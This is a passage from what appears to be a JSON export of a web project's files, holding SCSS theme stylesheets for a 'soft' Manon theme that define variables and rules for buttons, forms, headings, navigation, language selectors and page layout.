--button-base-hover-background-color: var(--colors-yellow-300);\n  --button-base-hover-text-color: var(--colors-grey-900);\n\n  /* Active */\n  --button-base-active-background-color: var(--colors-yellow-300);\n  --button-base-active-text-color: var(--colors-grey-900);\n  --button-base-active-border-style: var(--button-base-border-style);\n  --button-base-active-border-color: var(--button-base-active-background-color);\n  --button-base-active-border-width: var(--button-base-border-width);\n\n  /* Focus */\n  --button-base-focus-background-color: var(--colors-yellow-300);\n  --button-base-focus-text-color: var(--colors-grey-900);\n  --button-base-focus-border-style: var(--button-base-border-style);\n  --button-base-focus-border-color: var(--button-base-focus-background-color);\n  --button-base-focus-border-width: var(--button-base-border-width);\n}\n\n/* Needs to be added to manon */\nbutton,\na.button,\ninput[type=\"button\"],\ninput[type=\"submit\"],\ninput[type=\"reset\"] {\n  --link-icon-text-color: var(--button-base-text-color);\n\n  font-family: var(--button-base-font-family);\n  max-width: 18rem;\n\n  .icon {\n    max-height: 1.25rem; /* Set to same height as button line-height to prevent icons from increasing line-height */\n    display: flex;\n    justify-content: center;\n    align-items: center;\n  }\n\n  @media (width >= 24rem) {\n    text-align: left;\n  }\n}\n"
  },
  {
    "path": "rocky/assets/css/themes/soft/manon/checkbox.scss",
    "content": ":root {\n  --checkbox-accent-color: var(--branding-color-2, initial);\n  --form-fieldset-checkbox-margin: 0.75rem 0;\n}\n"
  },
  {
    "path": "rocky/assets/css/themes/soft/manon/code-base.scss",
    "content": "/* code base */\n\n:root {\n  --code-base-background-color: var(--colors-purrple-100);\n}\n\ncode {\n  padding: 0.125rem 0.5rem;\n  white-space: nowrap;\n}\n"
  },
  {
    "path": "rocky/assets/css/themes/soft/manon/code-block.scss",
    "content": "/* code base */\n\n:root {\n  --code-block-background-color: var(--colors-purrple-100);\n  --code-block-code-padding: 0;\n}\n"
  },
  {
    "path": "rocky/assets/css/themes/soft/manon/collapsible.scss",
    "content": "/* Collapsible */\n\n:root {\n  --collapsible-list-selected-icon: \"\\ea5e\";\n}\n"
  },
  {
    "path": "rocky/assets/css/themes/soft/manon/collapsing-element.scss",
    "content": "/* Collapsing element */\n\n:root {\n  --collapsing-element-list-item-last-item-border-width: 0;\n}\n\nbody header nav.collapsible {\n  /* Uncollapsed state */\n  .collapsing-element {\n    position: relative;\n\n    form {\n      &.inline {\n        width: 100%;\n      }\n\n      button {\n        background: transparent;\n        border-radius: 0;\n        border: 0;\n        font-weight: normal;\n        width: 100%;\n        max-width: 100%;\n        height: var(--header-navigation-button-min-height);\n        padding-top: var(--collapsing-element-list-item-link-padding-top);\n        padding-right: var(--collapsing-element-list-item-link-padding-right);\n        padding-bottom: var(--collapsing-element-list-item-link-padding-bottom);\n        padding-left: var(--collapsing-element-list-item-link-padding-left);\n        color: var(--collapsing-element-list-item-link-text-color);\n        justify-content: flex-start;\n        line-height: var(--header-navigation-link-line-height);\n      }\n    }\n\n    .collapsible {\n      position: static;\n    }\n\n    .collapsing-element {\n      top: 4rem;\n      right: 0;\n      left: auto;\n      width: auto;\n\n      ul,\n      ol {\n        width: auto;\n\n        li {\n          border: 0;\n\n          &:hover {\n            background-color: var(\n              --language-selector-list-item-hover-background-color\n            );\n          }\n        }\n\n        a[aria-selected=\"true\"] {\n          &::before {\n            content: var(--collapsible-list-selected-icon);\n          }\n\n          background-color: transparent;\n        }\n      }\n    }\n  }\n\n  /* Collapsed state */\n  &.collapsed {\n    button.collapsible-toggle {\n      &[aria-expanded=\"false\"],\n      &[aria-expanded=\"true\"] {\n        &.user-icon {\n          + .collapsing-element {\n            ul {\n              li:first-child {\n                border-width: 1px 0;\n                border-style: solid;\n                border-color: var(--colors-grey-200);\n              }\n            }\n          }\n        }\n      }\n    }\n\n    .collapsing-element .collapsible {\n      flex-direction: column;\n    }\n\n    .collapsing-element .collapsible button.collapsible-toggle {\n      display: none;\n\n      &[aria-expanded=\"false\"],\n      &[aria-expanded=\"true\"] {\n        + .collapsing-element {\n          display: flex;\n          position: static;\n          width: 100%;\n          box-shadow: none;\n        }\n      }\n\n      &::before {\n        content: none;\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "rocky/assets/css/themes/soft/manon/de-emphasized.scss",
    "content": "/* De-emphasized - Variables */\n\n:root {\n  --de-emphasized-text-color: var(--colors-grey-900);\n  --de-emphasized-font-weight: 700;\n}\n"
  },
  {
    "path": "rocky/assets/css/themes/soft/manon/description-list.scss",
    "content": "/* Description list - Variables */\n\n:root {\n  --description-list-width: 100%;\n\n  /* Item */\n  --description-list-item-padding: 0.75rem 0.75rem 0.75rem 0;\n  --description-list-item-odd-background-color: transparent;\n  --description-list-item-title-padding: 0.5rem 0;\n  --description-list-item-data-padding: 0.5rem 0;\n  --description-list-item-gap: var(--spacing-grid-300);\n  --description-list-item-white-space: normal;\n}\n\n%dl-styling {\n  width: 100%;\n\n  > div {\n    dd {\n      max-width: var(--max-line-length-max-width);\n    }\n  }\n\n  @media (width >= 35rem) {\n    > div {\n      flex-wrap: nowrap;\n      box-sizing: border-box;\n\n      dt {\n        min-width: var(--description-list-item-title-width);\n      }\n    }\n  }\n}\n\ndl {\n  @extend %dl-styling;\n}\n\nmain div,\nmain section,\nmain article,\nmain section > div,\nmain article > div {\n  box-sizing: border-box;\n\n  dl,\n  form dl,\n  form fieldset dl {\n    @extend %dl-styling;\n  }\n}\n\nmain section form dl div {\n  flex-direction: row;\n}\n"
  },
  {
    "path": "rocky/assets/css/themes/soft/manon/emphasized.scss",
    "content": "/* emphasized text */\n\n:root {\n  --emphasized-font-size: var(--body-text-large-font-size);\n}\n"
  },
  {
    "path": "rocky/assets/css/themes/soft/manon/expando-rows.scss",
    "content": "/* Expando rows - Variables */\n\n:root {\n  --expando-rows-table-cell-background-color: var(--colors-white);\n  --expando-rows-row-background-color: var(--colors-purrple-100);\n  --expando-rows-row-striping-background-color: var(\n    --expando-rows-row-background-color\n  );\n  --expando-rows-row-font-weight: var(--table-font-weight);\n  --expando-rows-table-cell-after-breakpoint-padding: 1.5rem;\n  --expando-rows-table-content-title-font-size: var(--heading-normal-font-size);\n  --expando-rows-table-content-title-font-weight: var(\n    --heading-normal-font-weight\n  );\n  --expando-rows-table-content-subtitle-font-size: var(\n    --heading-normal-font-size\n  );\n  --expando-rows-table-content-subtitle-font-weight: var(\n    --heading-normal-font-weight\n  );\n}\n\n/* Temporary layout styling until the new layout grid has been implemented */\n.expando-row > td {\n  > * {\n    margin-bottom: 1.5rem;\n    display: inline-block;\n    width: auto;\n    float: left;\n    clear: both;\n\n    &:last-child {\n      margin-bottom: 0;\n    }\n  }\n\n  > table {\n    width: 100%;\n    display: table;\n  }\n}\n\n/* Overrides the default first/last table cell exception */\n.expando-row th,\n.expando-row td {\n  padding-left: 1.5rem;\n  padding-right: 1.5rem;\n}\n\n.expanded-row td,\ntr:first-of-type.expanded-row td {\n  border-bottom: 0;\n}\n"
  },
  {
    "path": "rocky/assets/css/themes/soft/manon/filter.scss",
    "content": "/* Filter - Variables */\n\n:root {\n  /* Intro */\n  --filter-intro-border-width: 1px 0 0 0;\n\n  /* Button */\n  --filter-button-font-size: 1rem;\n  --filter-button-font-weight: bold;\n  --filter-button-text-color: var(--link-text-color);\n  --filter-button-margin-left: 0;\n  --filter-button-padding: var(--spacing-grid-150) var(--spacing-grid-100);\n\n  /* Button icon */\n  --filter-button-icon-before-open-content: \"\\ea5f\";\n  --filter-button-icon-before-close-content: \"\\ea62\";\n}\n\n.filter:has(form:not([hidden])) {\n  border-bottom: 1px solid var(--colors-grey-200);\n}\n\n.filter form {\n  padding: 1.5rem 2rem 2rem;\n}\n\n/* Temporary fix, this needs to be updated after this issue has been solved in Manon */\n.filter > div button {\n  &::before,\n  &::after {\n    font-family: var(--filter-button-icon-font-family, inherit);\n    line-height: var(--filter-button-icon-line-height);\n    font-size: var(--filter-button-icon-font-size, inherit);\n    font-weight: var(--filter-button-icon-font-weight, inherit);\n  }\n\n  &[aria-expanded=\"true\"] {\n    &::before {\n      content: var(--filter-button-icon-before-close-content);\n    }\n\n    &::after {\n      content: var(--filter-button-icon-after-close-content);\n    }\n  }\n\n  &[aria-expanded=\"false\"] {\n    &::before {\n      content: var(--filter-button-icon-before-open-content);\n    }\n\n    &::after {\n      content: var(--filter-button-icon-after-open-content);\n    }\n  }\n}\n"
  },
  {
    "path": "rocky/assets/css/themes/soft/manon/footer.scss",
    "content": "/* Footer - Variables */\n\n:root {\n  /* Layout */\n  --footer-flex-direction: row;\n  --footer-justify-content: space-between;\n  --footer-align-items: center;\n  --footer-min-height: 5.5rem;\n  --footer-padding-top: 2rem;\n  --footer-padding-right: 2%;\n  --footer-padding-bottom: 2rem;\n  --footer-padding-left: 2%;\n  --footer-gap: 2rem;\n\n  /* Visual styling */\n  --footer-background-color: var(--colors-white);\n  --footer-text-color: var(--colors-grey-600);\n\n  /* Links */\n  --footer-link-text-color: var(--link-text-color);\n  --footer-link-text-decoration: underline;\n\n  /* Links hover */\n  --footer-link-hover-text-color: var(--link-hover-text-color);\n  --footer-link-hover-text-decoration: underline;\n\n  /* Visited */\n  --footer-link-visited-text-color: var(--link-visited-text-color);\n  --footer-link-visited-text-decoration: underline;\n\n  /* Visited hover */\n  --footer-link-visited-hover-text-color: var(--link-visited-hover-text-color);\n  --footer-link-visited-hover-text-decoration: underline;\n\n  /* Navigation */\n  --footer-navigation-list-item-list-style: none;\n}\n"
  },
  {
    "path": "rocky/assets/css/themes/soft/manon/form-button.scss",
    "content": "/* Form button */\n\n:root {\n  --form-button-font-weight: var(--button-base-font-weight);\n  --form-button-min-width: var(--button-base-min-width);\n  --form-button-line-height: var(--button-base-line-height);\n}\n"
  },
  {
    "path": "rocky/assets/css/themes/soft/manon/form-fieldset.scss",
    "content": "/* Form fieldset - Variables */\n\n:root {\n  --form-horizontal-view-fieldset-label-margin-top: 0;\n}\n\nform legend {\n  font-weight: var(--form-fieldset-legend-font-weight);\n  margin-bottom: var(--form-fieldset-legend-margin-bottom);\n  padding: 0;\n}\n"
  },
  {
    "path": "rocky/assets/css/themes/soft/manon/form-help.scss",
    "content": "/* Form help */\n\n:root {\n  --form-help-button-icon: \"\\ec9d\";\n  --form-help-button-icon-expanded: \"\\eb55\";\n  --form-help-button-icon-font-size: 1rem;\n}\n"
  },
  {
    "path": "rocky/assets/css/themes/soft/manon/form-inline.scss",
    "content": "/* Form inline */\n\n:root {\n  --form-inline-flex-direction: column;\n}\n"
  },
  {
    "path": "rocky/assets/css/themes/soft/manon/form-radio.scss",
    "content": "/* Form fieldset - Variables */\n\n:root {\n  --form-radio-margin: 0.25rem var(--form-radio-margin-right) 0.25rem 0;\n}\n"
  },
  {
    "path": "rocky/assets/css/themes/soft/manon/form.scss",
    "content": "/* Form - Variables */\n\n:root {\n  --form-base-text-color: var(--application-base-text-color);\n  --form-base-background-color: transparent;\n  --form-base-padding-top: 0;\n  --form-base-padding-bottom: 0;\n  --form-base-padding-left: 0;\n  --form-base-max-width: 40rem;\n\n  /* Accent color */\n  --form-accent-color-color: var(--branding-color-2);\n\n  /* Input */\n  --form-base-input-text-color: var(--form-base-text-color);\n  --form-input-border-width: 1px;\n  --form-input-border-style: solid;\n  --form-input-border-color: var(--colors-grey-200);\n  --form-inline-gap: 1rem;\n  --form-input-border-radius: var(--border-radius-s);\n\n  /* Help */\n  --form-help-button-icon-content: \"\\ec9d\";\n  --form-help-button-icon-font-family: var(--icon-font-family);\n\n  /* Textarea */\n  --form-textarea-text-color: var(--form-base-text-color);\n  --form-textarea-border-color: var(--colors-grey-200);\n\n  /* Fieldset */\n  --form-fieldset-legend-font-weight: 600;\n  --form-fieldset-checkbox-accent-color: var(--form-accent-color-color);\n  --form-fieldset-radio-input-accent-color: var(--form-accent-color-color);\n\n  /* Nota bene */\n  --form-horizontal-view-fieldset-nota-bene-required-margin-bottom: 0.5rem;\n}\n\nform fieldset .checkbox input[type=\"checkbox\"] + label {\n  max-width: var(--form-base-max-width);\n  text-overflow: ellipsis;\n  overflow: hidden;\n}\n\nform label {\n  font-weight: bold;\n}\n\nform.help fieldset {\n  &.column-2 {\n    gap: var(--layout-column-2-gap);\n  }\n\n  &.column-3 {\n    gap: var(--layout-column-3-gap);\n  }\n\n  &.column-4 {\n    gap: var(--layout-column-4-gap);\n  }\n}\n\n.checkbox-list {\n  row-gap: 0;\n}\n\nform textarea {\n  border-radius: var(--form-input-border-radius);\n}\n"
  },
  {
    "path": "rocky/assets/css/themes/soft/manon/header-navigation-collapsible.scss",
    "content": "/* Header Navigation collapsible - Variables */\n\n:root {\n  --header-navigation-collapsible-background-color: white;\n  --header-navigation-collapsible-top: 4rem;\n  --header-navigation-collapsible-list-item-border-width: 0;\n\n  /* Current item */\n  --header-navigation-collapsible-list-item-link-selected-text-color: var(\n    --text-color-dark\n  );\n  --header-navigation-collapsible-list-item-link-selected-border-width: 0;\n  --header-navigation-collapsible-list-item-link-selected-icon: \"\\ea5e\";\n\n  /* Hover */\n  --header-navigation-collapsible-list-item-link-hover-background-color: var(\n    --colors-grey-50\n  );\n  --header-navigation-collapsible-list-item-link-selected-font-weight: bold;\n}\n\nheader nav form {\n  padding: 0;\n}\n\n.collapsible.collapsed .collapsing-element {\n  > div {\n    flex-direction: column;\n    width: 100%;\n    box-sizing: border-box;\n  }\n}\n\nbody\n  > header\n  nav.collapsible.collapsed\n  button.collapsible-toggle[aria-expanded=\"true\"]\n  + .collapsing-element {\n  ul li a[aria-current] {\n    &::before {\n      content: \"\\ea5e\";\n      font-family: var(--language-selector-list-button-icon-font-family);\n      margin-left: var(--language-selector-list-button-icon-margin-left);\n      font-size: var(--language-selector-list-button-icon-font-size);\n      color: var(--language-selector-list-button-icon-text-color);\n      margin-right: 0.5rem;\n    }\n  }\n\n  .language-selector-options li,\n  .language-selector-options li a {\n    &:hover {\n      background-color: transparent;\n    }\n  }\n}\n"
  },
  {
    "path": "rocky/assets/css/themes/soft/manon/header-navigation-content-wrapper.scss",
    "content": "/* Header Navigation content wrapper - Variables */\n\n:root {\n  --header-navigation-content-wrapper-flex-direction: row;\n  --header-navigation-content-wrapper-gap: 1rem;\n  --header-navigation-content-wrapper-justify-content: flex-start;\n  --header-navigation-content-wrapper-align-items: stretch;\n  --header-navigation-content-wrapper-padding-right: var(\n    --content-padding-right\n  );\n  --header-navigation-content-wrapper-padding-left: var(--content-padding-left);\n}\n\nbody > header {\n  > nav {\n    /* Header navigation content wrapper */\n    > div {\n      /* Collapsing element above breakpoint */\n      .collapsible-toggle[aria-expanded=\"false\"] + div {\n        width: 100%;\n\n        > div {\n          width: auto;\n          flex-direction: row;\n          gap: 1rem;\n\n          a {\n            white-space: nowrap;\n          }\n        }\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "rocky/assets/css/themes/soft/manon/header-navigation-link-active.scss",
    "content": "/* Header navigation link active - Variables */\n\n:root {\n  --header-navigation-link-active-text-color: var(--colors-purrple-500);\n  --header-navigation-link-active-border-width: 0 0 0.25rem 0;\n  --header-navigation-link-active-border-style: solid;\n  --header-navigation-link-active-border-color: var(--colors-purrple-500);\n  --header-navigation-list-align-items: stretch;\n}\n"
  },
  {
    "path": "rocky/assets/css/themes/soft/manon/header-navigation-link.scss",
    "content": "/* Header navigation link - Variables */\n\n:root {\n  --header-navigation-link-text-color: var(--text-color-dark);\n  --header-navigation-link-border-width: 0 0 4px 0;\n  --header-navigation-link-border-color: transparent;\n  --header-navigation-link-border-style: solid;\n}\n"
  },
  {
    "path": "rocky/assets/css/themes/soft/manon/header-navigation.scss",
    "content": "/* Header Navigation - Variables */\n\n:root {\n  /* Header */\n  --header-min-height: 0;\n  --header-flex-direction: column;\n  --header-justify-content: space-between;\n\n  /* Header navigation */\n  --header-navigation-position: initial;\n  --header-navigation-align-items: stretch;\n  --header-navigation-background-color: transparent;\n  --header-navigation-padding-right: 3rem;\n  --header-navigation-padding-left: 3rem;\n  --header-navigation-border-width: 0;\n  --header-navigation-width: auto;\n  --header-navigation-min-height: 4rem;\n  --header-navigation-gap: 1rem;\n  --header-navigation-content-wrapper-flex-direction: row;\n  --header-navigation-button-text-color: var(--button-ghost-text-color);\n\n  /* List item */\n  --header-navigation-list-item-text-color: var(--text-color-dark);\n\n  /* Icon */\n  --header-navigation-button-icon-font-family: var(--icon-font-family);\n  --header-navigation-button-icon-font-size: var(--icon-font-size);\n  --header-navigation-button-icon-text-color: var(\n    --header-navigation-button-text-color\n  );\n}\n"
  },
  {
    "path": "rocky/assets/css/themes/soft/manon/headings-base-set.scss",
    "content": "/* Heading set basic - Variables */\n\n:root {\n  /* Available variables to use within all heading types */\n  --headings-base-set-font-family: \"Fredoka\", sans-serif;\n  --headings-base-set-font-size: 2.5rem;\n  --headings-base-set-font-weight: 600;\n  --headings-base-set-line-height: 1.2;\n  --headings-base-set-text-color: var(--application-base-text-color);\n  --headings-base-set-margin: 0;\n\n  /* Heading XXL */\n  --heading-xxl-font-family: var(--headings-base-set-font-family);\n  --heading-xxl-font-size: var(--headings-base-set-font-size);\n  --heading-xxl-font-weight: var(--headings-base-set-font-weight);\n  --heading-xxl-line-height: var(--headings-base-set-line-height);\n  --heading-xxl-text-color: var(--headings-base-set-text-color);\n  --heading-xxl-margin: var(--headings-base-set-margin);\n\n  /* Heading XL */\n  --heading-xl-font-family: var(--headings-base-set-font-family);\n  --heading-xl-font-size: 2rem;\n  --heading-xl-font-weight: var(--headings-base-set-font-weight);\n  --heading-xl-line-height: var(--headings-base-set-line-height);\n  --heading-xl-text-color: var(--headings-base-set-text-color);\n  --heading-xl-margin: var(--headings-base-set-margin);\n\n  /* Heading L */\n  --heading-large-font-family: var(--headings-base-set-font-family);\n  --heading-large-font-size: 1.75rem;\n  --heading-large-font-weight: var(--headings-base-set-font-weight);\n  --heading-large-line-height: var(--headings-base-set-line-height);\n  --heading-large-text-color: var(--headings-base-set-text-color);\n  --heading-large-margin: var(--headings-base-set-margin);\n\n  /* Heading M */\n  --heading-normal-font-family: var(--headings-base-set-font-family);\n  --heading-normal-font-size: 1.5rem;\n  --heading-normal-font-weight: var(--headings-base-set-font-weight);\n  --heading-normal-line-height: var(--headings-base-set-line-height);\n  --heading-normal-text-color: var(--headings-base-set-text-color);\n  --heading-normal-margin: var(--headings-base-set-margin);\n\n  /* Heading S */\n  --heading-small-font-family: var(--headings-base-set-font-family);\n  --heading-small-font-size: 1.125rem;\n  --heading-small-font-weight: var(--headings-base-set-font-weight);\n  --heading-small-line-height: var(--headings-base-set-line-height);\n  --heading-small-text-color: var(--headings-base-set-text-color);\n  --heading-small-margin: var(--headings-base-set-margin);\n\n  /* Heading XS */\n  --heading-xs-font-family: var(--headings-base-set-font-family);\n  --heading-xs-font-size: 1rem;\n  --heading-xs-font-weight: var(--headings-base-set-font-weight);\n  --heading-xs-line-height: var(--headings-base-set-line-height);\n  --heading-xs-text-color: var(--headings-base-set-text-color);\n  --heading-xs-margin: var(--headings-base-set-margin);\n}\n"
  },
  {
    "path": "rocky/assets/css/themes/soft/manon/headings.scss",
    "content": "/* Headings */\n\n:root {\n  /* h1 */\n  --h1-font-family: var(--heading-xxl-font-family);\n  --h1-font-size: var(--heading-xxl-font-size);\n  --h1-text-color: var(--heading-xxl-text-color);\n  --h1-font-weight: var(--heading-xxl-font-weight);\n  --h1-line-height: var(--heading-xxl-line-height);\n  --h1-margin: var(--heading-xxl-margin);\n\n  /* h2 */\n  --h2-font-family: var(--heading-xl-font-family);\n  --h2-font-size: var(--heading-xl-font-size);\n  --h2-text-color: var(--heading-xl-text-color);\n  --h2-font-weight: var(--heading-xl-font-weight);\n  --h2-line-height: var(--heading-xl-line-height);\n  --h2-margin: var(--heading-xl-margin);\n\n  /* h3 */\n  --h3-font-family: var(--heading-large-font-family);\n  --h3-font-size: var(--heading-large-font-size);\n  --h3-text-color: var(--heading-large-text-color);\n  --h3-font-weight: var(--heading-large-font-weight);\n  --h3-line-height: var(--heading-large-line-height);\n  --h3-margin: var(--heading-large-margin);\n\n  /* h4 */\n  --h4-font-family: var(--heading-normal-font-family);\n  --h4-font-size: var(--heading-normal-font-size);\n  --h4-text-color: var(--heading-normal-text-color);\n  --h4-font-weight: var(--heading-normal-font-weight);\n  --h4-line-height: var(--heading-normal-line-height);\n  --h4-margin: var(--heading-normal-margin);\n\n  /* h5 */\n  --h5-font-family: var(--heading-small-font-family);\n  --h5-font-size: var(--heading-small-font-size);\n  --h5-text-color: var(--heading-small-text-color);\n  --h5-font-weight: var(--heading-small-font-weight);\n  --h5-line-height: var(--heading-small-line-height);\n  --h5-margin: var(--heading-small-margin);\n\n  /* h6 */\n  --h6-font-family: var(--heading-xs-font-family);\n  --h6-font-size: var(--heading-xs-font-size);\n  --h6-text-color: var(--heading-xs-text-color);\n  --h6-font-weight: var(--heading-xs-font-weight);\n  --h6-line-height: var(--heading-xs-line-height);\n  --h6-margin: var(--heading-xs-margin);\n}\n\nh1 {\n  max-width: var(--h1-max-line-length-max-width);\n}\n\nh2 {\n  max-width: var(--h2-max-line-length-max-width);\n}\n\nh3 {\n  max-width: var(--h3-max-line-length-max-width);\n}\n\nh4 {\n  max-width: var(--h4-max-line-length-max-width);\n}\n\nh5 {\n  max-width: var(--h5-max-line-length-max-width);\n}\n\nh6 {\n  max-width: var(--h6-max-line-length-max-width);\n}\n"
  },
  {
    "path": "rocky/assets/css/themes/soft/manon/hero.scss",
    "content": "/* Hero - Variables */\n\n.hero > div {\n  margin: auto 0;\n  padding-left: var(--section-padding-left);\n  padding-right: var(--section-padding-right);\n\n  @media screen and (min-width: $grid-m) {\n    padding-right: var(--page-whitespace-right-grid-m);\n    padding-left: var(--page-whitespace-left-grid-m);\n  }\n\n  @media screen and (min-width: $grid-l) {\n    padding-right: var(--page-whitespace-right-grid-l);\n    padding-left: var(--page-whitespace-left-grid-l);\n  }\n\n  @media screen and (min-width: $grid-xl) {\n    padding-right: var(--page-whitespace-right-grid-xl);\n    padding-left: var(--page-whitespace-left-grid-xl);\n  }\n\n  @media screen and (min-width: $grid-xxl) {\n    padding-right: var(--page-whitespace-right-grid-xxl);\n    padding-left: var(--page-whitespace-left-grid-xxl);\n  }\n\n  .tile {\n    padding: 1rem 1.5rem;\n\n    h1 {\n      font-size: var(--heading-large-font-size);\n    }\n  }\n}\n"
  },
  {
    "path": "rocky/assets/css/themes/soft/manon/icon.scss",
    "content": "/* Filter - Variables */\n\n:root {\n  --icon-font-family: \"tabler-icons\";\n  --icon-font-size: 1.3rem;\n}\n\n.icon,\n.icon-only {\n  font-weight: normal;\n}\n"
  },
  {
    "path": "rocky/assets/css/themes/soft/manon/image-square.scss",
    "content": "/* Image square */\n\n:root {\n  --image-square-border-radius: 1.33rem;\n}\n"
  },
  {
    "path": "rocky/assets/css/themes/soft/manon/language-selector-list.scss",
    "content": "/* Language selector list - Variables */\n\n:root {\n  --language-selector-list-max-width: 2.75rem;\n\n  /* Label */\n  --language-selector-list-label-font-size: 0;\n  --language-selector-list-label-gap: 0;\n\n  /* Button */\n  --language-selector-list-button-line-height: var(--button-base-line-height);\n  --language-selector-list-button-padding-top: var(--button-base-padding-top);\n  --language-selector-list-button-padding-right: var(\n    --button-base-padding-right\n  );\n  --language-selector-list-button-padding-bottom: var(\n    --button-base-padding-bottom\n  );\n  --language-selector-list-button-padding-left: var(--button-base-padding-left);\n\n  /* --language-selector-list-button-font-size: var(--header-navigation-button-font-size); */\n  --language-selector-list-button-border-color: var(\n    --button-ghost-border-color\n  );\n  --language-selector-list-button-text-color: var(--button-ghost-text-color);\n  --language-selector-list-button-border-width: var(\n    --button-ghost-border-width\n  );\n  --language-selector-list-button-width: auto;\n\n  // --language-selector-list-button-font-weight: bold;\n\n  /* List opened button icon */\n  --language-selector-list-open-button-icon: \"\\ea5f\";\n\n  /* List closed button icon */\n  --language-selector-list-closed-button-icon: \"\\ea62\";\n\n  /* List */\n  --language-selector-list-border-color: var(--colors-grey-200);\n  --language-selector-list-border-radius: 0.25rem;\n  --language-selector-list-margin-top: 0.25rem;\n  --language-selector-list-box-shadow: 0px 8px 16px 0px var(--colors-black-15);\n  --language-selector-list-min-width: 8rem;\n\n  /* List item */\n  --language-selector-list-item-background-color: transparent;\n  --language-selector-list-item-active-background-color: transparent;\n  --language-selector-list-item-hover-background-color: var(--colors-black-05);\n\n  /* List item link */\n  --language-selector-list-item-link-border-width: 0;\n  --language-selector-list-item-link-min-height: 3rem;\n  --language-selector-list-item-link-height: 100%;\n  --language-selector-list-item-link-padding: 0.125rem 1rem;\n\n  /* List item link active */\n  --language-selector-list-item-active-font-weight: bold;\n\n  /* Icon */\n  --language-selector-list-button-icon-font-family: var(--icon-font-family);\n  --language-selector-list-button-icon-font-size: var(--icon-font-size);\n}\n\nbody > header nav {\n  .language-selector {\n    > div > button {\n      color: var(--language-selector-list-button-text-color);\n      font-weight: bold;\n\n      &::after {\n        color: var(--language-selector-list-button-text-color);\n        display: flex;\n        justify-content: center;\n        align-items: center;\n        max-height: 1.25rem; /* Set to same height as button line-height to prevent icons from increasing line-height */\n      }\n    }\n\n    ul li a,\n    ul li button {\n      padding: 0.125rem 1rem;\n      color: black;\n      font-weight: normal;\n    }\n\n    div[aria-expanded=\"true\"] ul li[aria-current=\"true\"] a::before,\n    .language-selector\n      div[aria-expanded=\"true\"]\n      ul\n      li[aria-current=\"true\"]\n      a::before {\n      content: \"\\ea5e\";\n      font-family: var(--language-selector-list-button-icon-font-family);\n      margin-left: var(--language-selector-list-button-icon-margin-left);\n      font-size: var(--language-selector-list-button-icon-font-size);\n      color: var(--language-selector-list-button-icon-text-color);\n      margin-right: 0.5rem;\n    }\n  }\n\n  &.collapsible\n    .collapsible-toggle[aria-expanded=\"true\"]\n    + .collapsing-element\n    .language-selector {\n    order: 1;\n\n    .language-selector-options {\n      > button {\n        display: none;\n      }\n\n      ul {\n        display: flex;\n        flex-direction: row;\n        box-shadow: none;\n        border: 0;\n        padding-left: var(\n          --collapsing-element-list-item-link-padding-left,\n          2rem\n        );\n        gap: 1rem;\n\n        li {\n          width: auto;\n          border: 0;\n\n          a {\n            padding: 0;\n            border: 0;\n\n            button {\n              min-width: 0;\n              color: var(--colors-blue-600);\n              text-decoration: underline;\n              text-transform: uppercase;\n            }\n          }\n        }\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "rocky/assets/css/themes/soft/manon/layout-column-4.scss",
    "content": "/* layout column 4 - Variables */\n\n:root {\n  --layout-column-4-gap: var(--spacing-grid-200);\n}\n"
  },
  {
    "path": "rocky/assets/css/themes/soft/manon/layout-form.scss",
    "content": "/* Layout form - Variables */\n\n:root {\n  --layout-form-padding-top: var(--content-padding-top, 0);\n  --layout-form-padding-right: var(--content-padding-right, 0);\n  --layout-form-padding-bottom: var(--content-padding-bottom, 0);\n  --layout-form-padding-left: var(--content-padding-left, 0);\n  --layout-form-max-width: 50rem;\n\n  /* After breakpoint 1 */\n  --layout-form-breakpoint-1-padding-top: var(--layout-form-padding-top);\n  --layout-form-breakpoint-1-padding-right: var(--layout-form-padding-right);\n  --layout-form-breakpoint-1-padding-bottom: var(--layout-form-padding-bottom);\n  --layout-form-breakpoint-1-padding-left: var(--layout-form-padding-left);\n  --layout-form-breakpoint-1-max-width: var(--layout-form-max-width);\n}\n"
  },
  {
    "path": "rocky/assets/css/themes/soft/manon/layout-set.scss",
    "content": "/* Layout set */\n\n/* Grid breakpoints */\n$grid-s: 20rem;\n$grid-m: 48rem;\n$grid-l: 90rem;\n$grid-xl: 128rem;\n$grid-xxl: 215rem;\n\n:root {\n  /* White space based on grid type */\n\n  /* grid-s */\n  --page-whitespace-top-grid-s: 1rem;\n  --page-whitespace-right-grid-s: 1rem;\n  --page-whitespace-left-grid-s: 1rem;\n  --page-whitespace-bottom-grid-s: 1rem;\n\n  /* grid-m */\n  --page-whitespace-top-grid-m: 2.5rem;\n  --page-whitespace-right-grid-m: 4rem;\n  --page-whitespace-left-grid-m: 4rem;\n  --page-whitespace-bottom-grid-m: 2.5rem;\n\n  /* grid-l */\n  --page-whitespace-top-grid-l: 4rem;\n  --page-whitespace-right-grid-l: 8rem;\n  --page-whitespace-left-grid-l: 8rem;\n  --page-whitespace-bottom-grid-l: 4rem;\n\n  /* grid-xl */\n  --page-whitespace-top-grid-xl: 4rem;\n  --page-whitespace-right-grid-xl: 12rem;\n  --page-whitespace-left-grid-xl: 12rem;\n  --page-whitespace-bottom-grid-xl: 4rem;\n\n  /* grid-xxl */\n  --page-whitespace-top-grid-xxl: 4rem;\n  --page-whitespace-right-grid-xxl: 12rem;\n  --page-whitespace-left-grid-xxl: 12rem;\n  --page-whitespace-bottom-grid-xxl: 4rem;\n\n  /* Page */\n  --page-whitespace-top: var(--page-whitespace-top-grid-s);\n  --page-whitespace-right: 0;\n  --page-whitespace-bottom: 0;\n  --page-whitespace-left: 0;\n\n  /* Content wrapper */\n  --content-flex-direction: column;\n  --content-justify-content: flex-start;\n  --content-align-items: flex-start;\n  --content-gap: 2.5rem;\n  --content-padding-top: var(--page-whitespace-top-grid-m);\n  --content-padding-right: var(--page-whitespace-right-grid-s);\n  --content-padding-bottom: var(--page-whitespace-bottom-grid-m);\n  --content-padding-left: var(--page-whitespace-left-grid-s);\n  --content-max-width: 215rem;\n\n  /* Content */\n  --content-nested-padding-top: 0;\n  --content-nested-padding-right: 0;\n  --content-nested-padding-bottom: 0;\n  --content-nested-padding-left: 0;\n  --content-nested-max-width: 100%;\n  --content-nested-gap: var(--spacing-grid-200);\n\n  /* Section */\n  --section-padding-right: var(--content-padding-right);\n  --section-padding-left: var(--content-padding-left);\n  --section-gap: var(--content-gap);\n\n  /* Section content wrapper */\n  --section-content-wrapper-gap: 1rem;\n  --section-content-wrapper-padding-top: 0;\n  --section-content-wrapper-padding-right: 0;\n  